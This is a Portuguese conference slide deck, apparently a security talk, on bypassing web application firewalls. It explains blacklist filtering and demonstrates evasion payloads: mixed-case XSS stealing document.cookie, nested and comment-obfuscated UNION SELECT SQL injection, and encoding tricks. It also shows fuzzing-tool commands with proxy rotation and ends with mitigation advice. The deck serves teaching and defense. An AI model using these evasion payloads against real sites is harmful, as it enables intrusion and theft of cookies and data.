burlando um WAF

921 visualizações

Publicada em

como burlar um WAF

Publicada em: Internet
1 comentário
3 gostaram
Estatísticas
Notas
Sem downloads
Visualizações
Visualizações totais
921
No SlideShare
0
A partir de incorporações
0
Número de incorporações
6
Ações
Compartilhamentos
0
Downloads
13
Comentários
1
Gostaram
3
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

burlando um WAF

  1. 1. 1/ 37 ® Burlando um WAF 25 de maio de 2015 ®
  2. 2. 2/ 37 ® Quem sou ? ● Antonio Costa “Cooler_” ● Desenvolvedor em ASM, C, C++, Lisp, Perl, PHP etc... ● Pentest, codereview, engenharia reversa e pesquisas para problemas diversos etc... ● @Cooler_freenode ● https://github.com/CoolerVoid ● acosta@conviso.com.br ● coolerlair@gmail.com
  3. 3. 3/ 37 ® Agenda ● Entendendo o problema ● Burlando um WAF ● Automatizando o ataque ● Sugestões para mitigação
  4. 4. 4/ 37 ® Entendendo o Problema ● WAF (web application firewall) ● Filtro com conjunto de regras ● Protege de ataques comuns ● Registra informações de ataques ● Bloqueia ataques
  5. 5. 5/ 37 ® Entendendo o Problema ● Filtra tanto Request como Response
  6. 6. 6/ 37 ® Entendendo o Problema ● Request exemplo: GET /sell/cars.php?search=<script>alert(document.cookie)</script >
  7. 7. 7/ 37 ® Entendendo o Problema ● Match exato ● BlackList... ● “alert(”, ● ”union” ● “select” ● “script” ● “eval”...
  8. 8. 8/ 37 ® Entendendo o Problema ● Block por IP ● DoS Spoofing ?
  9. 9. 9/ 37 ® Entendendo o Problema ● Regras não são suficientes... ● Expressão regular “regex” não faz matching
  10. 10. 10/ 37 ® Burlando um WAF
  11. 11. 11/ 37 ® Burlando um WAF ● Como Detectar o WAF ? ● Descobrimento de um WAF pode se dar por alguns fatores são eles “header” da Response, por cookies e outros meios. ● Pode-se fazer manualmente, entretanto é interessante automatizar com ferramentas: ● https://svn.nmap.org/nmap/scripts/http-waf-detect.nse ● https://github.com/sandrogauci/wafw00f ● http://code.google.com/p/imperva-detect/ ● …
  12. 12. 12/ 37 ® Burlando um WAF Mixed Case ● Em alguns casos o “patern matching” para um elemento de uma blacklist seria “case sentive”, ou seja qualquer caractere que esteja fora do padrão não irá passar por “matching”. ● “select” é diferente de “SeLecT”,”sEleCt”,”seLecT”... ● “script” é diferente de “sCriPT”,”ScRipT”... ● Entretanto o paylaod pode ser interpretado seja ataque de XSS ou SQL injection, isso pois o ambiente que interpreta não é “case sentive”. ● Exemplo: ● /sell/cars.php?search=<script>alert(document.cookie)</script ● /sell/cars.php?search=<SCripT>AlErt(DoCuMenT.cOoKie)</scrIpt>
  13. 13. 13/ 37 ® Burlando um WAF Replace Keywords ● Alguns casos que não ocorre um block, fazem troca de uma string por outra, exemplo se encontra palavra “union select” substitui por “” ou seja acaba trocando por nada( apaga a ocorrência de uma palavra), logo á Request continua não é bloqueada. ● Como atacante pode se aproveitar disso ? ● Exemplos: ● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9 ● Assim que o WAF fazer replace(troca) então temos: ● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9
  14. 14. 14/ 37 ® Burlando um WAF Spaces to comment ● Trocar espaços em branco por comentários “/**/”, ou mesmo adicionar comentários em pontos aleatórios, ajuda a fugir do “match”. ● Exemplos: ● /sell/cars.php? search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– - ● /sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*! table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*! TaBlE_ScHeMa*/+like+database()– -
  15. 15. 15/ 37 ® Burlando um WAF ● Outras formas... ● Objetivo é o mesmo burlar
  16. 16. 16/ 37 ® Burlando um WAF Encodes ● Codificando os payloads podemos enganar o “match”, os mais usados são encode64, url encode, double url encode... ● Exemplo: <script>alert(document.cookie)</script ● Url encode: %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript ● 64 encode PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3Jpc HQ=
  17. 17. 17/ 37 ® Burlando um WAF ● HPP(HTTP Parameter Pollution) ● Uma técnica que visa enviar muitos parâmetros para assim burlar filtros de ambientes.
  18. 18. 18/ 37 ® Burlando um WAF ● Mude o IP use Proxy ● Mude o User Agent
  19. 19. 19/ 37 ® Burlando um WAF ● Outras formas... ● obfuscar ● encodar apenas um caracter etc...
  20. 20. 20/ 37 ® Automatizando o ataque ● Por que automatizar ?
  21. 21. 21/ 37 ® Automatizando o ataque ● Payloadmask https://github.com/CoolerVoid/payloadmask
  22. 22. 22/ 37 ®
  23. 23. 23/ 37 ® ● Futuro da ferramenta github.com/CoolerVoid/payloadmask/issues
  24. 24. 24/ 37 ® Automatizando o ataque ● 0d1n https://github.com/CoolerVoid/0d1n
  25. 25. 25/ 37 ® Automatizando o ataque ● 0d1n https://github.com/CoolerVoid/0d1n
  26. 26. 26/ 37 ® Automatizando o ataque
  27. 27. 27/ 37 ® Automatizando o ataque
  28. 28. 28/ 37 ® Automatizando o ataque
  29. 29. 29/ 37 ® Automatizando o ataque ● Exemplo: ./0d1n –host http://localhost/test.php –post ”car_name=ˆ ” –payloads payloads/xss.txt –find_regex_list payloads/guess.txt –log name_log –save_response –tamper urlencode -proxy-rand paylaods/proxy.txt
  30. 30. 30/ 37 ® Automatizando o ataque
  31. 31. 31/ 37 ® Automatizando o ataque
  32. 32. 32/ 37 ® Automatizando o ataque ● Exemplo: ./0d1n –host http://localhost/test.php –post ”car_name=ˆ ” –payloads payloads/xss.txt –find_regex_list payloads/guess.txt –log name_log –save_response
  33. 33. 33/ 37 ® Automatizando o ataque ● Futuro da ferramenta... github.com/CoolerVoid/0d1n/issues
  34. 34. 34/ 37 ® Sugestões para mitigação ● Não usar Regex que tenha redundância ● Usar Whitelist e não Blacklist. ● Prevenção sempre, contratar serviços para auditoria na aplicação ● Não esperar que o WAF faça tudo... ● Sanitizar informações e validar ● Mantenha o ambiente Hardenizado.
  35. 35. 35/ 37 ® Agradecimentos ! ● IAK, Sigsegv, M0nad, Slyfunky, Clandestine, Robertux, F117, Loganbr, MMxM, eremita, Mente Binaria, Otacon, Ephexis, pl4nkt0n, necrist, dr_gordon, sheilong etc... galera do IRC etc.. ● Aos Mestres da CONVISO ● Ulisses Castro por ter dado sugestão do “Tamper”
  36. 36. 36/ 37 ® Perguntas ???
  37. 37. 37/ 37 ®

×